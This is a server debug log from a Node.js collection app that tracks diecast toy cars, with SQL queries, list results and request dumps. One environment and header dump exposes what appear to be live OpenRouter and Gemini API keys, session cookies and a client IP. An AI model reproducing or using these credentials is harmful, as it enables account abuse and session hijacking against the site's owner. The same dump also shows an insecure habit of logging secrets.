      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:01:36.014Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:01:36.014Z server-connect:app Executing action step select
2026-02-04T07:01:36.014Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:01:36.015Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:01:36.316Z server-connect:router Serving templateView /
2026-02-04T07:01:36.317Z server-connect:app Executing action step identify
2026-02-04T07:01:36.317Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:36.317Z server-connect:output identity: 1
2026-02-04T07:01:36.317Z server-connect:app Executing action step restrict
2026-02-04T07:01:36.317Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:36.317Z server-connect:output restrict: undefined
2026-02-04T07:01:36.317Z server-connect:app Executing action step restrict
2026-02-04T07:01:36.317Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:36.318Z server-connect:output restrict: undefined
2026-02-04T07:01:36.318Z server-connect:router Render template layouts/main
2026-02-04T07:01:36.318Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:01:44.528Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:01:44.529Z server-connect:app Executing action step identify
2026-02-04T07:01:44.529Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:44.529Z server-connect:output identity: 1
2026-02-04T07:01:44.529Z server-connect:app Executing action step restrict
2026-02-04T07:01:44.529Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:44.529Z server-connect:output restrict: undefined
2026-02-04T07:01:44.529Z server-connect:app Executing action step condition
2026-02-04T07:01:44.529Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:01:44.529Z server-connect:app Executing action step update
2026-02-04T07:01:44.529Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:01:44.530Z server-connect:output update: { affected: 1 }
2026-02-04T07:01:44.530Z server-connect:app Executing action step upload
2026-02-04T07:01:44.530Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:01:44.530Z server-connect:output upload_image: []
2026-02-04T07:01:44.530Z server-connect:app Executing action step repeat
2026-02-04T07:01:44.530Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:01:44.531Z server-connect:output repeat_images: []
2026-02-04T07:01:44.531Z server-connect:output condition: undefined
2026-02-04T07:01:44.817Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:01:44.817Z server-connect:app Executing action step identify
2026-02-04T07:01:44.817Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:44.817Z server-connect:output identity: 1
2026-02-04T07:01:44.817Z server-connect:app Executing action step restrict
2026-02-04T07:01:44.817Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:44.818Z server-connect:output restrict: undefined
2026-02-04T07:01:44.818Z server-connect:app Executing action step paged
2026-02-04T07:01:44.818Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:01:44.821Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
